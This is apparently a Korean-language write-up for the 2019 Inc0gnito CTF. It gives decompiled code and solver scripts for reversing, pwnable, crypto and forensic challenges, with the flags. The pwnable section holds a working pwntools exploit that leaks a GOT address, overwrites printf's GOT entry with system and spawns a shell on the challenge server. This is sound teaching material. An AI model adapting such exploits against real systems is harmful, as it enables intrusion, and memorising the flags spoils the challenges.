2019 Inc0gnito CTF Writeup

Reversing

Reversing #2

LLVM 문제다. Control Flow Code Obfuscation을 적용해놨다.

문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  signed int v4; // eax
  signed int v5; // eax
  bool v6; // zf
  signed int v7; // eax
  signed int v9; // [rsp+7Ch] [rbp-224h]
  int v10; // [rsp+80h] [rbp-220h]
  int v11; // [rsp+84h] [rbp-21Ch]
  unsigned __int64 v12; // [rsp+88h] [rbp-218h]
  char s1[256]; // [rsp+90h] [rbp-210h]
  char s[268]; // [rsp+190h] [rbp-110h]
  unsigned int v15; // [rsp+29Ch] [rbp-4h]

  v15 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x100uLL);
  memset(s1, 0, 0x100uLL);
  v3 = s;
  printf("Easy one. Just Reverse Me :)\n", 0LL);
  v12 = (signed int)read(0, s, 0x100uLL);
  v11 = 0;
  v9 = 784577434;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( v9 == -1283299488 )
                  {
                    v3 = (char *)v10;
                    s1[v10] ^= byte_602060[v10 % 5];
                    v9 = 689708032;
                  }
                  if ( v9 != -1112985830 )
                    break;
                  v5 = -576509350;
                  if ( v10 < v12 )
                    v5 = -1283299488;
                  v9 = v5;
                }
                if ( v9 != -937301210 )
                  break;
                v10 = 0;
                v9 = -1112985830;
              }
              if ( v9 != -576509350 )
                break;
              v3 = (char *)&unk_602070;
              v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
              v7 = 447126853;
              if ( !v6 )
                v7 = 596317950;
              v9 = v7;
            }
            if ( v9 != 447126853 )
              break;
            v9 = 955640552;
            printf("Input is your flag\n", v3);
          }
          if ( v9 != 596317950 )
            break;
          v9 = 955640552;
          puts("Nope.");
        }
        if ( v9 != 689708032 )
          break;
        ++v10;
        v9 = -1112985830;
      }
      if ( v9 != 784577434 )
        break;
      v4 = -937301210;
      if ( v11 < v12 )
        v4 = 1637913944;
      v9 = v4;
    }
    if ( v9 == 955640552 )
      break;
    if ( v9 == 1637913944 )
    {
      v3 = (char *)16;
      s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
      v9 = 1690546716;
    }
    else if ( v9 == 1690546716 )
    {
      ++v11;
      v9 = 784577434;
    }
  }
  return v15;
}

간단하게 연산 순서를 나타내면 아래와 같다.

  1. byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];

  1. 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];

  1. 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;

이런 분기로 프로그램이 흘러간다.

이렇게 되면 쉽게 그냥 역연산 짜주면 된다.

byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]

이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.

우선 byte_602060[i%5] ^ unk_602070[i] 을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16] 이 나온다.

나는 브루트포스해서 INPUT 값을 구해주었다.

bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]

flag = []
m="SECRET"
for i in range(len(table)):
	for j in range(33,127):
		if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
			flag.append(j)
			break
print ''.join(chr(i) for i in flag)

FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}


Pwnable

GOT_O

간단한 got overwrite 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  problem();
  write(1, "\n\n", 2u);
  return 0;
}
ssize_t problem()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0xA0u);
}
int win()
{
  return printf("/bin/sh");
}

exploit.py

from pwn import *

context.log_level = 'debug'

p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')

main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system

payload = cyclic(cyclic_find('haaa'))

rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)

log.info('Stage1')

p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))

sys_got = read_got - read_offset

rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)

log.info('Stage2')

p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)

p.interactive()

FLAG : FLAG{This_is_got_overwrite}


Cryptography

3AsYCrACK_M3

argv로 입력된 값이 encrypt되어 Cdm+V2^U`7 랑 같으면 플래그라고 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+10h] [rbp-20h]
  signed int v5; // [rsp+1Ch] [rbp-14h]
  char *s; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  if ( argc != 2 )
  {
    puts("error");
    exit(0);
  }
  s = argv[1];
  v5 = strlen(argv[1]);
  if ( v5 > 20 )
  {
    puts("error");
    exit(0);
  }
  v4 = malloc(1uLL);
  *v4 = *s;
  for ( i = 0; i < v5 - 1; ++i )
    v4[i + 1] = s[i] + 2 * (s[i + 1] - s[i]) + 3;
  encrypt(s);
  printf("answer is %s\n", v4, argv);
  return 0;
}

이건 encrypt 함수이다.

__int64 __fastcall encrypt(const char *a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-18h]
  int v3; // [rsp+1Ch] [rbp-14h]
  int v4; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+24h] [rbp-Ch]
  signed int v6; // [rsp+28h] [rbp-8h]
  signed int i; // [rsp+2Ch] [rbp-4h]

  v6 = strlen(a1);
  if ( v6 <= 9 )
  {
    puts("error");
    exit(0);
  }
  v5 = (*a1 + a1[1]) % 10;
  v4 = (a1[3] / a1[2] + a1[1]) % 10;
  v3 = (a1[5] % a1[1] + a1[5]) % 10;
  v2 = (a1[3] + a1[1] + a1[6] - a1[2]) % 10;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= v6 )
      break;
    if ( i & 3 )
    {
      if ( i % 4 == 1 )
      {
        a1[i] += v4;
      }
      else if ( i % 4 == 2 )
      {
        a1[i] += v3;
      }
      else
      {
        a1[i] += v2;
      }
    }
    else
    {
      a1[i] += v5;
    }
  }
  return result;
}

브루트포스하면 풀린다.

enc = "Cdm+V2^U`7"
flag = "C"

for i in range(len(enc)-1):
	for j in range(33,127):
		if ord(enc[i+1]) == ord(flag[i]) + 2 * (j - ord(flag[i])) +3:
			flag += chr(j)
print flag

FLAG : CR^CK=LOVE


Forensic

wh3re_is_my_f14g

zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.

FLAG : 1nC0{d0_you_kn0w_21p?}